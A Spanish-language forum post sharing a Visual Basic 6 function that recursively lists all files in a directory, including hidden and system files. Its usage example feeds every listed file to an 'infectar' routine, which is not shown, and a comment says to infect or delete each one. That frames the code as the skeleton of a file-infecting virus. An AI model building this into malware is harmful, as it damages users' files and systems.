Muchas veces y por diversas razones que no vienen al tema, queremos listar todos los archivos de un directorio. Podemos utilizar el FSO, pero... ¿por que hacerlo si podemos hacerlo directamente desde el visual basic?
Declaramos un array en la cabezera del formulario:
Private direcs() As String
En ese array se guardaran los archivos listados. Luego, la funcion:
Código:
Function ListFiles(Path)
'On Error Resume Next
Dim x() As String
Dim a As Integer
Dim sf As String
Dim u As Integer
If Right(Path, 1) <> "\" Then Path = Path & "\"
ReDim x(a)
sf = Dir(Path, vbHidden + vbArchive + vbReadOnly + vbSystem + vbNormal + vbDirectory)
Do While Len(sf) <> 0
If sf <> "." And sf <> ".." Then
sf = Path & sf
If GetAttr(sf) And vbDirectory Then
x(a) = sf
ReDim Preserve x(a + 1)
a = a + 1
Else
u = UBound(direcs)
ReDim Preserve direcs(u + 1)
direcs(u) = sf
End If
End If
sf = Dir()
Loop
For a = 0 To UBound(x)
If Len(x(a)) Then ListFiles x(a)
Next
End Function
Y para llamarla, se hace asi:
Código:
ReDim direcs(0) 'El array a 0
Call ListFiles(path_del_directorio) 'listar los archivos del directorio
For s = 0 To UBound(direcs) - 1 'Desde el primer archivo hasta el ultimo
Call infectar(direcs(s)) 'Infectamos el archivo, lo borramos o lo que se nos de la gana.
Next
El code se puede mejorar aun mas. Aclaro que no soy el dueño.
Salu2.